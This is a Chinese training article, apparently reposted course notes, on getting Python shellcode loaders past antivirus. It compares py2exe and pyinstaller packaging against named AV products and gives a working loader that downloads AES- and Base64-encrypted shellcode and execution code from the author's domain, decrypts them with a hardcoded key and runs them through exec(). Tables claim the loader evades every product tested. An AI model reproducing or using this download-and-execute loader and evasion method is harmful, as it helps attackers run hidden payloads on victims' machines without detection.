暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

免杀对抗|Shellcode Bypass AV(Python下)

小迪安全 2021-10-02
897

来源于97次直播课件

#知识点:
1、Python-免杀模块-ctypes
2、Python-免杀选择-打包器&加密器
3、Python-免杀对抗-virustotal(VT)

1、打包器选择-安装使用-py2exe

1.安装库 py2exe
2.打包代码 编译
3.对比pyinstaller
mytest.py:
from distutils.core import setup
import py2exe


setup(console=['aes-plus.py'])
打包aes-plus.py编译exe
python mytest.py py2exe

2、打包器对比-测评主流-py2exe&pyinstall

厂商
pyinstall
py2exe
某管家(开启引擎)
ms-df 过 ms-hr 被杀
ms-df 过 ms-hr 过
X60
ms-df 过 ms-hr 被杀ms-df 过 ms-hr 过
某绒
ms-df 被杀 ms-hr 过ms-df 过 ms-hr 被杀
Windows Defender
ms-df 过 ms-hr 被杀ms-df 过 ms-hr 过
总结:
在免杀对抗中,Python编译打包py2exe效果优于pyinstall;
但执行兼容性上跟不上pyinstall,具体大家可查阅编译资料!

3、加密器选择-测评主流-AES加密

在上篇文章中,ms-hr和ms-df均采用了Base64可解码函数
今天我们来测评下AES高加密算法,代码中自定义解密函数
利用提前加密好的关键代码段或Shellcode进行传输解密执行


利用思路:
对shellcode&执行函数全AES&Base64解密编码,调用执行
http://www.xiaodi8.com/1.txt aes+Base64编码的Shellcode
http://www.xiaodi8.com/2.txt aes+Base64 Ctypes编码的调用执行代码


代码如下:
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import base64,ctypes,requests


# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
key = '9999999999999999'.encode('utf-8')
iv = b'qqqqqqqqqqqqqqqq'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
return bytes.decode(plain_text).rstrip('\0')




def zx(shellcode):
#获取执行函数代码
func=requests.get('http://www.xiaodi8.com/2.txt').text
#aes解密执行代码
func=decrypt(func)
#base解码执行代码
func=base64.b64decode(func)
exec(func)




if __name__ == '__main__':
#获取shellcode base64+aes加密值
sc=requests.get('http://www.xiaodi8.com/1.txt').text
sc=decrypt(sc) #aes解密
sc=base64.b64decode(sc) #base64解密
    zx(sc)

厂商
pyinstall
py2exe
某管家(开启引擎)
my-aes过
未测,理论过
X60
my-aes过未测,理论过
某绒
my-aes过未测,理论过
Windows Defender
my-aes过未测,理论过
总结:
在选择编码或加密时,高强度难解密算法更适合免杀对抗!

培训请扫码:

国庆特惠价,吃西瓜哦

文章转载自小迪安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论